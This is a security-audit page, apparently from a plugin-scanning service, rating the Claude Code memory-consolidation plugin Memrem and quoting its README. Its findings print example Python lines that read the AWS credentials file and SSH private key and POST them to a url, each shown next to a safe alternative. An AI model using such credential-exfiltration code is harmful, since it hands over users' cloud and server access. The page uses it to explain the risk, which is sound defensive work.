Memrem — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Memrem (Plugin) and scored it 15/100 (red). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 2 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 2 flagged
This plugin references the AWS credentials file or the access-key fields stored inside it (("aws_secret", "aws_secret_access_key = " + "wJa…). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.
creds = open(os.path.expanduser("~/.aws/credentials")).read()
requests.post(url, data={"creds": creds})# let the SDK resolve credentials; never read or transmit the file yourself
import boto3
s3 = boto3.client("s3")This plugin references an SSH private-key path or a private-key file header (("pem", "-----BEGIN RSA PRIVATE KEY-----\n" + "M…). An SSH private key authenticates you to servers and Git remotes, so code that reads it can impersonate you wherever that key is trusted.
key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
requests.post(url, data={"key": key})# let the SSH agent / git handle auth; never read or send the key
subprocess.run(["git", "fetch", remote], check=True)Every scanned point with the score it earned and what moved between them.
Score fell 85 points between these scans.
The primary manifest — the file an agent reads to learn what this artifact does.
REM sleep for Claude Code's memory. On demand,memremconsolidates Claude's native markdown memory — merges duplicates, resolves contradictions, archives stale facts with tombstones, and rebuilds a leanMEMORY.mdindex. Idempotent and safe to re-run.
The name fuses MEMory + REM sleep — the brain's consolidation cycle.
Claude Code's native memory accumulates over time: facts duplicate across files, the MEMORY.md index drifts from reality, old facts contradict new ones, and files grow past one concern. There's no built-in maintenance pass — memory only ever gets messier. memrem is that maintenance pass.
It grooms the native, human-readable markdown memory at ~/.claude/projects/<project>/memory/. It does not capture, embed, or store anything in a database — it just keeps what's already there clean.
/plugin marketplace add cativo23/memrem
/plugin install memrem@memrem
/reload-plugins/memrem:memrem # consolidate and apply changes directly (archive-not-delete, safe)
/memrem:memrem --confirm # read-only: show a plan first, write nothing until you approve
# (--dry-run works too)The canonical command is namespaced/memrem:memrem(plugin skills always are). The short/memremalso works when no other skill shares the name.
MEMORY.md, and archive tombstones.scrubbing secrets and PHI on ingest before anything enters reasoning.
archived with a superseded_by back-link, never silently overwritten).
MEMORY.md (< 200 lines / < 25 KB), move prunedentries to _archive/ with tombstones, update the idempotency marker.
_archive/ with a tombstone.shapes (API keys, provider tokens, JWTs, PEM blocks, .env assignments, connection strings) plus a second re-scrub at the write boundary. It's defense-in-depth, not a guarantee — that's why --confirm exists: review the plan before applying. PHI (patient names, diagnoses) is handled by the model's judgment, never written to memory.
is used only to read/parse your transcripts for analysis; it never makes network calls, installs anything, or writes outside the memory dir. The repo ships logic, not your memory.
v1 operates on plain markdown (dedup, contradiction resolution, index rebuild, archive-with-tombstone). Importance scoring and decay-based pruning are planned for v1.1 (they need durable per-fact metadata that Claude's native memory doesn't carry yet).
MIT © Carlos Cativo
~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.